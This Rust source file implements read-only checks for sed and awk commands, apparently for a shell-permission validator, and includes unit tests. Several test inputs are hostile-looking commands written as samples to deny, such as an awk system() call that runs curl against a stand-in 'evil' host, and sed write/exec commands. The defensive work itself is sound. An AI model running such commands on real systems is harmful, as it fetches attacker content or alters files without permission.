pub(super) fn sed_is_readonly(segment: &str) -> bool {
if has_unbalanced_quotes(segment) {
return false;
}
if sed_has_inplace_flag(segment) {
return false;
}
if sed_has_external_script_flag(segment) {
return false;
}
if sed_script_has_write_or_exec(segment) {
return false;
}
true
}
pub(super) fn awk_is_readonly(segment: &str) -> bool {
if has_unbalanced_quotes(segment) {
return false;
}
if awk_has_inplace_flag(segment) {
return false;
}
if awk_has_external_script_flag(segment) {
return false;
}
if awk_program_has_system_call(segment) {
return false;
}
if awk_program_has_quoted_pipe_or_redirect(segment) {
return false;
}
true
}
fn has_unbalanced_quotes(segment: &str) -> bool {
let mut in_single = false;
let mut in_double = false;
for b in segment.bytes() {
match b {
b'\'' if !in_double => in_single = !in_single,
b'"' if !in_single => in_double = !in_double,
_ => {}
}
}
in_single || in_double
}
fn sed_has_inplace_flag(segment: &str) -> bool {
for token in segment.split_whitespace() {
if token.starts_with("--in") {
return true;
}
if token.starts_with("--") {
continue;
}
if let Some(rest) = token.strip_prefix('-')
&& !rest.is_empty()
&& rest.contains('i')
{
return true;
}
}
false
}
fn sed_has_external_script_flag(segment: &str) -> bool {
for token in segment.split_whitespace() {
if token == "--file" || token.starts_with("--file=") {
return true;
}
if token.starts_with("--") {
continue;
}
if let Some(rest) = token.strip_prefix('-')
&& !rest.is_empty()
&& rest.contains('f')
{
return true;
}
}
false
}
fn sed_script_region(segment: &str) -> &str {
let bytes = segment.as_bytes();
let mut idx = 0;
loop {
while idx < bytes.len() && bytes[idx].is_ascii_whitespace() {
idx += 1;
}
if idx >= bytes.len() {
return "";
}
let word_start = idx;
while idx < bytes.len() && !bytes[idx].is_ascii_whitespace() {
idx += 1;
}
let word = &segment[word_start..idx];
let is_env = word.split_once('=').is_some_and(|(k, _)| {
!k.is_empty()
&& k.chars()
.next()
.is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
&& k.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
});
if is_env || word == "sudo" || word == "env" || word == "sed" || word.ends_with("/sed") {
continue;
}
if word.starts_with('-') {
continue;
}
return &segment[word_start..];
}
}
fn sed_script_has_write_or_exec(segment: &str) -> bool {
for raw_stmt in sed_script_region(segment).split(['\u{003B}', '\n', '{', '}']) {
let trimmed = raw_stmt.trim_start().trim_start_matches(['\'', '"']);
let mut rest = skip_sed_address(trimmed);
rest = rest.trim_start_matches(['!', ' ', '\t']);
let bytes = rest.as_bytes();
if bytes.is_empty() {
continue;
}
match bytes[0] {
b'e' | b'w' | b'W' => {
let standalone = bytes.len() == 1 || bytes[1] == b' ' || bytes[1] == b'\t';
if standalone {
return true;
}
}
b's' if bytes.len() > 1 => {
match skip_sed_substitution(rest) {
Some(flags) if flags.contains('e') || flags.contains('w') => return true,
Some(_) => {}
None => return true,
}
}
_ => {}
}
}
false
}
fn skip_sed_address(stmt: &str) -> &str {
let mut rest = stmt;
for _ in 0..2 {
let bytes = rest.as_bytes();
if bytes.is_empty() {
break;
}
let consumed = if bytes[0] == b'$' {
1
} else if bytes[0].is_ascii_digit() {
let mut n = 0;
while n < bytes.len() && bytes[n].is_ascii_digit() {
n += 1;
}
if n < bytes.len() && bytes[n] == b'~' {
n += 1;
while n < bytes.len() && bytes[n].is_ascii_digit() {
n += 1;
}
}
n
} else if bytes[0] == b'/' {
match rest[1..].find('/') {
Some(end) => end + 2,
None => return rest,
}
} else {
0
};
if consumed == 0 {
break;
}
rest = &rest[consumed..];
rest = rest.trim_start();
if let Some(after_comma) = rest.strip_prefix(',') {
rest = after_comma.trim_start();
continue;
}
break;
}
rest
}
fn skip_sed_substitution(rest: &str) -> Option<&str> {
let bytes = rest.as_bytes();
let delim = bytes[1];
if delim == b' ' || delim == b'\t' {
return None;
}
let mut idx = 2;
let mut delim_count = 0;
while idx < bytes.len() && delim_count < 2 {
if bytes[idx] == delim && (idx == 0 || bytes[idx - 1] != b'\\') {
delim_count += 1;
}
idx += 1;
}
if delim_count < 2 {
return None;
}
let flags_start = idx;
let mut flags_end = flags_start;
while flags_end < bytes.len() && bytes[flags_end].is_ascii_alphanumeric() {
flags_end += 1;
}
Some(&rest[flags_start..flags_end])
}
fn awk_has_inplace_flag(segment: &str) -> bool {
for token in segment.split_whitespace() {
if token == "-i" || token == "--include" || token.starts_with("--include=") {
return true;
}
if token.len() > 2 && token.starts_with("-i") && !token.starts_with("--") {
return true;
}
}
false
}
fn awk_has_external_script_flag(segment: &str) -> bool {
for token in segment.split_whitespace() {
if token == "--file" || token.starts_with("--file=") {
return true;
}
if token == "-f" || (token.len() > 2 && token.starts_with("-f")) {
return true;
}
}
false
}
fn awk_program_has_system_call(segment: &str) -> bool {
const NEEDLE: &[u8] = b"system";
let bytes = segment.as_bytes();
let is_ident_byte = |b: u8| b.is_ascii_alphanumeric() || b == b'_';
let mut i = 0;
while i + NEEDLE.len() <= bytes.len() {
let is_match = &bytes[i..i + NEEDLE.len()] == NEEDLE;
let prev_is_boundary = i == 0 || !is_ident_byte(bytes[i - 1]);
if is_match && prev_is_boundary {
let mut j = i + NEEDLE.len();
while j < bytes.len() && matches!(bytes[j], b' ' | b'\t' | b'\n' | b'\r') {
j += 1;
}
if j < bytes.len() && bytes[j] == b'(' {
return true;
}
}
i += 1;
}
false
}
fn awk_program_has_quoted_pipe_or_redirect(segment: &str) -> bool {
let mut in_single = false;
let mut in_double = false;
for b in segment.bytes() {
match b {
b'\'' if !in_double => in_single = !in_single,
b'"' if !in_single => in_double = !in_double,
b'|' | b'>' if in_single || in_double => return true,
_ => {}
}
}
false
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn sed_is_readonly_allows_stream_filters() {
for cmd in [
"sed -n '1,5p' file.txt",
"sed 's/a/b/g' f",
"sed -e 's/a/b/' f",
"sed --posix 's/a/b/' f",
"sed 's/a/b/'",
] {
assert!(sed_is_readonly(cmd), "expected read-only: {cmd}");
}
}
#[test]
fn sed_is_readonly_denies_in_place() {
for cmd in [
"sed -i s/a/b/ f",
"sed -i.bak s/a/b/ f",
"sed -ni s/a/b/p f",
"sed --in-place s/a/b/ f",
"sed --in-place=.bak s/a/b/ f",
] {
assert!(!sed_is_readonly(cmd), "expected deny (in-place): {cmd}");
}
}
#[test]
fn sed_is_readonly_denies_in_place_abbreviations() {
for cmd in [
"sed --in s/a/b/ f",
"sed --in-p s/a/b/ f",
"sed --in=bak s/a/b/ f",
] {
assert!(
!sed_is_readonly(cmd),
"expected deny (abbreviated --in-place): {cmd}"
);
}
}
#[test]
fn sed_is_readonly_denies_external_script() {
for cmd in [
"sed -f script.sed f",
"sed --file script.sed f",
"sed --file=s.sed f",
] {
assert!(!sed_is_readonly(cmd), "expected deny (-f): {cmd}");
}
}
#[test]
fn sed_is_readonly_denies_write_or_exec_commands() {
for cmd in [
"sed '1e touch /tmp/x' f",
"sed -n '1,5w /tmp/out' f",
"sed '$w /tmp/out' f",
"sed 's/a/b/e' f",
"sed 's/a/b/w /tmp/out' f",
"sed 's/a/b/gw /tmp/out' f",
] {
assert!(!sed_is_readonly(cmd), "expected deny (e/w/W): {cmd}");
}
}
#[test]
fn awk_is_readonly_allows_stream_filters() {
for cmd in [
"awk '{print $1}'",
"awk -F, '{print $1}' f",
"git log | awk '{print $1}'",
] {
assert!(awk_is_readonly(cmd), "expected read-only: {cmd}");
}
}
#[test]
fn awk_is_readonly_denies_in_place() {
for cmd in [
"awk -i inplace '{print}' f",
"awk --include inplace '{print}' f",
"awk --include=inplace '{print}' f",
"awk -iinplace '{print}' f",
] {
assert!(!awk_is_readonly(cmd), "expected deny (in-place): {cmd}");
}
}
#[test]
fn awk_is_readonly_denies_external_script() {
for cmd in ["awk -f script.awk f", "awk --file script.awk f"] {
assert!(!awk_is_readonly(cmd), "expected deny (-f): {cmd}");
}
}
#[test]
fn awk_is_readonly_denies_system_call() {
for cmd in [
r#"awk 'BEGIN{system("touch /tmp/x")}'"#,
r#"awk 'BEGIN{system("curl https://evil/x")}'"#,
] {
assert!(!awk_is_readonly(cmd), "expected deny (system()): {cmd}");
}
}
#[test]
fn awk_is_readonly_denies_system_call_with_whitespace_before_paren() {
for cmd in [
"awk 'BEGIN{system (\"touch /tmp/x\")}'",
"awk 'BEGIN{system\t(\"echo x\")}'",
"awk 'BEGIN{system (\"curl https://evil/x\")}'",
] {
assert!(
!awk_is_readonly(cmd),
"expected deny (system with whitespace before paren): {cmd}"
);
}
}
#[test]
fn awk_program_has_system_call_tolerates_whitespace_before_paren() {
for prog in [
r#"system("x")"#,
r#"system ("x")"#,
"system\t(\"x\")",
"system \t (\"x\")",
] {
assert!(
awk_program_has_system_call(prog),
"expected system() call detected: {prog}"
);
}
}
#[test]
fn awk_program_has_system_call_does_not_match_identifier_suffix() {
for prog in [r#"mysystem("x")"#, r#"system_call("x")"#, "system_("] {
assert!(
!awk_program_has_system_call(prog),
"expected no system() detection for: {prog}"
);
}
}
#[test]
fn awk_is_readonly_denies_coprocess() {
for cmd in [
r#"awk 'BEGIN{print | "sort"}'"#,
r#"awk 'BEGIN{"date" | getline}'"#,
] {
assert!(
!awk_is_readonly(cmd),
"expected deny for co-process awk: {cmd}"
);
}
}
#[test]
fn awk_is_readonly_denies_in_program_redirect() {
for cmd in [
r#"awk '{print > "out.txt"}'"#,
r#"awk '{print $0 >> "log"}'"#,
r#"awk '{printf "%s", $1 > "f"}'"#,
] {
assert!(!awk_is_readonly(cmd), "expected deny (in-program >): {cmd}");
}
}
#[test]
fn has_unbalanced_quotes_detects_odd_counts() {
assert!(has_unbalanced_quotes("awk 'BEGIN{print "));
assert!(has_unbalanced_quotes(" \"sort\"}'"));
assert!(!has_unbalanced_quotes("awk '{print $1}'"));
assert!(!has_unbalanced_quotes("sed 's/a/b/g' f"));
}
#[test]
fn has_unbalanced_quotes_ignores_apostrophe_inside_double_quotes() {
assert!(!has_unbalanced_quotes(r#"sed "s/can't/cannot/" f"#));
assert!(!has_unbalanced_quotes(r#"awk -F"'" '{print $2}'"#));
}
#[test]
fn sed_is_readonly_allows_apostrophe_inside_double_quoted_script() {
assert!(sed_is_readonly(r#"sed "s/can't/cannot/" f"#));
}
#[test]
fn awk_is_readonly_allows_apostrophe_inside_double_quoted_field_separator() {
assert!(awk_is_readonly(r#"awk -F"'" '{print $2}'"#));
}
#[test]
fn has_unbalanced_quotes_still_denies_coprocess_fragment() {
assert!(has_unbalanced_quotes("awk 'BEGIN{print"));
assert!(has_unbalanced_quotes(" \"sort"));
}
}